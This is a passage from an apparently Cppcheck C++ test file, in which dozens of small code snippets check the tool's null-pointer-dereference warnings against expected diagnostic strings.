[nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"bool argsMatch(const Token *first, const Token *second) {\\n\" // #6145\n \" if (first->str() == \\\")\\\")\\n\"\n \" return true;\\n\"\n \" else if (first->next()->str() == \\\"=\\\")\\n\"\n \" first = first->nextArgument();\\n\"\n \" else if (second->next()->str() == \\\"=\\\") {\\n\"\n \" second = second->nextArgument();\\n\"\n \" if (second)\\n\"\n \" second = second->tokAt(-2);\\n\"\n \" if (!first || !second) {\\n\"\n \" return !first && !second;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:10:13] -> [test.cpp:2:9]: (warning) Either the condition '!first' is redundant or there is possible null pointer dereference: first. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:10:13] -> [test.cpp:4:14]: (warning) Either the condition '!first' is redundant or there is possible null pointer dereference: first. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer90() // #6098\n {\n check(\"std::string definitionToName(Definition *ctx)\\n\"\n \"{\\n\"\n \" if (ctx->definitionType()==Definition::TypeMember)\\n\" // possible null pointer dereference\n \" {\\n\"\n \" return \\\"y\\\";\\n\"\n \" }\\n\"\n \" else if (ctx)\\n\" // ctx is checked against null\n \" {\\n\"\n \" if(ctx->definitionType()!=Definition::TypeMember)\\n\"\n \" {\\n\"\n \" return \\\"x\\\";\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return \\\"unknown\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:12] -> [test.cpp:3:7]: (warning) Either the condition 'ctx' is redundant or there is possible null pointer dereference: ctx. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n void nullpointer91() // #10678\n {\n check(\"void f(const char* PBeg, const char* PEnd) {\\n\"\n \" while (PEnd != nullptr) {\\n\"\n \" const int N = h(PEnd);\\n\"\n \" PEnd = g();\\n\"\n \" const int Length = PEnd == nullptr ? 0 : PEnd - PBeg;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer92()\n {\n check(\"bool g(bool);\\n\"\n \"int f(int* i) {\\n\"\n \" if (!g(!!i)) return 0;\\n\"\n \" return *i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(bool);\\n\"\n \"int f(int* i) {\\n\"\n \" if (!g(!i)) return 0;\\n\"\n \" return *i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer93() // #3929\n {\n check(\"int* GetThing( ) { return 0; }\\n\"\n \"int main() {\\n\"\n \" int* myNull = GetThing();\\n\"\n \" *myNull=42;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Null pointer dereference: myNull [nullPointer]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int* GetThing(void) { return 0; }\\n\"\n \"};\\n\"\n \"int main(void) {\\n\"\n \" foo myFoo;\\n\"\n \" int* myNull = myFoo.GetThing();\\n\"\n \" *myNull=42;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (error) Null pointer dereference: myNull [nullPointer]\\n\", errout_str());\n\n check(\"struct T { bool g() const; };\\n\"\n \"void f(T* p) {\\n\"\n \" if (!p)\\n\"\n \" return;\\n\"\n \" while (p->g())\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer94() // #11040\n {\n check(\"struct entry { struct entry* next; size_t len; };\\n\"\n \"void f(struct entry **kep, size_t slen) {\\n\"\n \" while (*kep)\\n\"\n \" kep = &(*kep)->next;\\n\"\n \" *kep = (struct entry*)malloc(sizeof(**kep));\\n\"\n \" (*kep)->next = 0;\\n\"\n \" (*kep)->len = slen;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: *kep [nullPointerOutOfMemory]\\n\", errout_str());\n }\n\n void nullpointer95() // #11142\n {\n check(\"void f(std::vector& v) {\\n\"\n \" for (auto& p : v)\\n\"\n \" if (*p < 2)\\n\"\n \" p = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer96()\n {\n check(\"struct S {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"S *create_s();\\n\"\n \"void test() {\\n\"\n \" S *s = create_s();\\n\"\n \" for (int i = 0; i < s->x; i++) {\\n\"\n \" if (s->x == 17) {\\n\"\n \" s = nullptr;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (s) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer97() // #11229\n {\n check(\"struct B { virtual int f() = 0; };\\n\"\n \"struct D : public B { int f() override; };\\n\"\n \"int g(B* p) {\\n\"\n \" if (p) {\\n\"\n \" auto d = dynamic_cast(p);\\n\"\n \" return d ? d->f() : 0;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer98() // #11458\n {\n check(\"struct S { double* d() const; };\\n\"\n \"struct T {\\n\"\n \" virtual void g(double* b, double* d) const = 0;\\n\"\n \" void g(S* b) const { g(b->d(), nullptr); }\\n\"\n \" void g(S* b, S* d) const { g(b->d(), d->d()); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer99() // #10602\n {\n check(\"class A\\n\"\n \"{\\n\"\n \" int *foo(const bool b)\\n\"\n \" {\\n\"\n \" if(b)\\n\"\n \" return nullptr;\\n\"\n \" else\\n\"\n \" return new int [10];\\n\"\n \" }\\n\"\n \"public:\\n\"\n \" void bar(void)\\n\"\n \" {\\n\"\n \" int * buf = foo(true);\\n\"\n \" buf[2] = 0;\" // <<\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:14:9]: (error) Null pointer dereference: buf [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer100() // #11636\n {\n check(\"const char* type_of(double) { return \\\"unknown\\\"; }\\n\"\n \"void f() {\\n\"\n \" double tmp = 0.0;\\n\"\n \" const char* t = type_of(tmp);\\n\"\n \" std::cout << t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer101() // #11382\n {\n check(\"struct Base { virtual ~Base(); };\\n\"\n \"struct Derived : Base {};\\n\"\n \"bool is_valid(const Derived&);\\n\"\n \"void f(const Base* base) {\\n\"\n \" const Derived* derived = dynamic_cast(base);\\n\"\n \" if (derived && !is_valid(*derived) || base == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer102()\n {\n check(\"struct S { std::string str; };\\n\" // #11534\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str;\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer103()\n {\n check(\"struct S {\\n\" // #10572\n \" int f();\\n\"\n \" int* m_P{};\\n\"\n \"};\\n\"\n \"int S::f() {\\n\"\n \" if (!m_P) {\\n\"\n \" try {\\n\"\n \" m_P = new int(1);\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return *m_P;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int* p, const int* q) {\\n\" // #11873\n \" if (*q == -1)\\n\"\n \" *p = 0;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x = -2;\\n\"\n \" f(nullptr, &x);\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:3:10]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer104() // #13881\n {\n check(\"using std::max;\\n\"\n \"void f(int i) {\\n\"\n \" const size_t maxlen = i == 1 ? 8 : (std::numeric_limits::max());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer105() // #13861\n {\n check(\"struct AB { int a; int b; };\\n\"\n \"namespace ns { typedef AB S[10]; }\\n\"\n \"void foo(void) {\\n\"\n \" ns::S x = {0};\\n\"\n \" x[1].a = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_addressOf() { // address of\n check(\"void f() {\\n\"\n \" struct X *x = 0;\\n\"\n \" if (addr == &x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct X *x = 0;\\n\"\n \" if (addr == &x->y.z[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"typedef int Count;\\n\" // #10018\n \"#define offsetof(TYPE, MEMBER) ((Count) & ((TYPE*)0)->MEMBER)\\n\"\n \"struct S {\\n\"\n \" int a[20];\\n\"\n \"};\\n\"\n \"int g(int i) {\\n\"\n \" return offsetof(S, a[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerSwitch() { // #2626\n // extracttests.start: char *do_something();\n check(\"char *f(int x) {\\n\"\n \" char *p = do_something();\\n\"\n \" switch (x) {\\n\"\n \" case 1:\\n\"\n \" p = 0;\\n\"\n \" case 2:\\n\"\n \" *p = 0;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:10]: (warning) Possible null pointer dereference: p [nullPointer]\\n\", errout_str());\n }\n\n void nullpointer_cast() {\n check(\"char *nasm_skip_spaces(const char *p) {\\n\" // #4692\n \" if (p)\\n\"\n \" while (*p && nasm_isspace(*p))\\n\"\n \" p++;\\n\"\n \" return p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* origin) {\\n\" // #11449\n \" char* cp = (strchr)(origin, '\\\\0');\\n\"\n \" if (cp[-1] != '/')\\n\"\n \" *cp++ = '/';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_castToVoid() { // #3771\n check(\"void f () {\\n\"\n \" int *buf; buf = NULL;\\n\"\n \" buf;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_subfunction() {\n check(\"int f(int* x, int* y) {\\n\"\n \" if (!x)\\n\"\n \" return;\\n\"\n \" return *x + *y;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(nullptr, nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check if pointer is null and the dereference it\n void pointerCheckAndDeRef() {\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p && *p == 0) {\\n\"\n \" }\\n\"\n \" printf(\\\"%c\\\", *p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:19]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p && *p == 0) {\\n\"\n \" } else { *p = 0; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:15]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" }\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:12]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" }\\n\"\n \" bar();\\n\"\n \" strcpy(p, \\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:5:12]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void foo(abc *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" else { if (!p->x) {\\n\"\n \" } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n static const char code[] =\n \"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\";\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" (*bail)();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" throw x;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" ab.abort();\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" if (!p) {\\n\"\n \" }\\n\"\n \" return *x;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int *p) {\\n\"\n \" if (!p) {\\n\"\n \" x = *p;\\n\"\n \" return 5+*p;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:14]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:9] -> [test.cpp:4:19]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // operator!\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" if (!a) {\\n\"\n \" a.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // This is why this check can't be used on the simplified token list\n check(\"void f(Foo *foo) {\\n\"\n \" if (!dynamic_cast(foo)) {\\n\"\n \" *foo = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket: #2300 - calling unknown function that may initialize the pointer\n check(\"Fred *fred;\\n\"\n \"void a() {\\n\"\n \" if (!fred) {\\n\"\n \" initfred();\\n\"\n \" fred->x = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1219\n check(\"void foo(char *p) {\\n\"\n \" if (p) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:5:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2467 - unknown macro may terminate the application\n check(\"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) {\\n\"\n \" MACRO;\\n\"\n \" }\\n\"\n \" fred->a();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2493 - switch\n check(\"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" switch (x) {\\n\"\n \" case 1:\\n\"\n \" fred->a();\\n\"\n \" break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4118 - second if\n check(\"void f(char *p) {\\n\"\n \" int x = 1;\\n\"\n \" if (!p) x = 0;\\n\"\n \" if (x) *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2674 - different functions\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Wilma *wilma;\\n\"\n \" void a();\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::a() {\\n\"\n \" if ( wilma ) { }\\n\"\n \"}\\n\"\n \"\\n\"\n \"void Fred::b() {\\n\"\n \" wilma->Reload();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int *i) {\\n\"\n \" if(i == NULL) { }\\n\"\n \" else {\\n\"\n \" int b = *i;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 1\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" len = sizeof(*pFoo) - sizeof(pFoo->data);\\n\"\n \"\\n\"\n \" if (pFoo)\\n\"\n \" bar();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" while (pFoo)\\n\"\n \" pFoo = pFoo->next;\\n\"\n \"\\n\"\n \" len = sizeof(pFoo->data);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2696 - false positives nr 3\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct foo *pFoo = NULL;\\n\"\n \" size_t len;\\n\"\n \"\\n\"\n \" while (pFoo)\\n\"\n \" pFoo = pFoo->next;\\n\"\n \"\\n\"\n \" len = decltype(*pFoo);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(struct Fred *fred) {\\n\"\n \" if (fred) { }\\n\"\n \" return fred->a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Either the condition 'fred' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // #2789 - assign and check pointer\n check(\"void f() {\\n\"\n \" char *p; p = x();\\n\"\n \" if (!p) { }\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:4:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, assign and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (p = malloc(10)) != 0) {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, assign and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (p = malloc(10)) != a && (*p = a)) {\\n\"\n \" *p = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" char *p;\\n\"\n \" if (p == 0 && (*p = 0)) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:21]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" struct foo *p;\\n\"\n \" if (p == 0 && p->x == 10) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:19]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" struct foo *p;\\n\"\n \" if (p == 0 || p->x == 10) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check, and use\n check(\"void f() {\\n\"\n \" char *p; p = malloc(10);\\n\"\n \" if (p == NULL && (*p = a)) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:3:24]: (warning) Either the condition 'p==NULL' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // check, and use\n check(\"void f(struct X *p, int x) {\\n\"\n \" if (!p && x==1 || p && p->x==0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void f(Fred *fred) {\\n\"\n \" if (fred == NULL) { }\\n\"\n \" fred->x();\\n\"\n \"}\";\n\n check(code); // inconclusive\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:5]: (warning) Either the condition 'fred==NULL' is redundant or there is possible null pointer dereference: fred. [nullPointerRedundantCheck]\\n\", errout_str());\n }\n\n check(\"void f(char *s) {\\n\" // #3358\n \" if (s==0);\\n\"\n \" strcpy(a, s?b:c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // sizeof\n check(\"void f(struct fred_t *fred) {\\n\"\n \" if (!fred)\\n\"\n \" int sz = sizeof(fred->x);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // check in macro\n check(\"void f(int *x) {\\n\"\n \" $if (!x) {}\\n\"\n \" *x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return ?:\n check(\"int f(ABC *p) {\\n\" // FP : return ?:\n \" if (!p) {}\\n\"\n \" return p ? p->x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f(ABC *p) {\\n\" // no fn\n \" if (!p) {}\\n\"\n \" return q ? p->x : 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p.\\n\", \"\", errout_str());\n\n check(\"int f(ABC *p) {\\n\" // FP : return &&\n \" if (!p) {}\\n\"\n \" return p && p->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int *p) {\\n\"\n \" if (x || !p) {}\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:6]: (warning) Either the condition '!p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n // sizeof\n check(\"void f() {\\n\"\n \" int *pointer = NULL;\\n\"\n \" pointer = func(sizeof pointer[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Test CheckNullPointer::nullConstantDereference\n void nullConstantDereference() {\n check(\"int f() {\\n\"\n \" int* p = 0;\\n\"\n \" return p[4];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" typeof(*NULL) y;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f() {\\n\"\n \" return NULL;\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" return *f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Null pointer dereference: f() [nullPointer]\\n\", errout_str());\n }\n\n void gcc_statement_expression() {\n // Ticket #2621\n check(\"void f(struct ABC *abc) {\\n\"\n \" ({ if (abc) dbg(); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void snprintf_with_zero_size() {\n // Ticket #2840\n check(\"void f() {\\n\"\n \" int bytes = snprintf(0, 0, \\\"%u\\\", 1);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void snprintf_with_non_zero_size() {\n // Ticket #2840\n check(\"void f() {\\n\"\n \" int bytes = snprintf(0, 10, \\\"%u\\\", 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n }\n\n void printf_with_invalid_va_argument() {\n check(\"void f() {\\n\"\n \" printf(\\\"%s\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* s = 0;\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:18]: (error) Null pointer dereference: s [nullPointer]\\n\"\n \"[test.cpp:3:18]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char *s = 0;\\n\"\n \" printf(\\\"%s\\\", s == 0 ? a : s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" printf(\\\"%u%s\\\", 0, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"%u%s\\\", 0, s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char* s = 0;\\n\"\n \" printf(\\\"%u%s\\\", 123, s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:25]: (error) Null pointer dereference: s [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n\n check(\"void f() {\\n\"\n \" printf(\\\"%%%s%%\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n\n check(\"void f() {\\n\"\n \" char* s = \\\"blabla\\\";\\n\"\n \" printf(\\\"%s\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %m%s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f(char* s) {\\n\"\n \" printf(\\\"text: %*s, %s\\\", s, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n // Ticket #3364\n check(\"void f() {\\n\"\n \" printf(\\\"%-*.*s\\\", s, 0);\\n\"\n \" sprintf(\\\"%*\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void scanf_with_invalid_va_argument() {\n check(\"void f(char* s) {\\n\"\n \" sscanf(s, \\\"%s\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:21]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:21]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f() {\\n\"\n \" scanf(\\\"%d\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:17]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f(char* foo) {\\n\"\n \" char location[200];\\n\"\n \" int width, height;\\n\"\n \" sscanf(imgInfo, \\\"%s %d %d\\\", location, &width, &height);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // ticket #3207\n\n check(\"void f(char *dummy) {\\n\"\n \" int iVal;\\n\"\n \" sscanf(dummy, \\\"%d%c\\\", &iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // 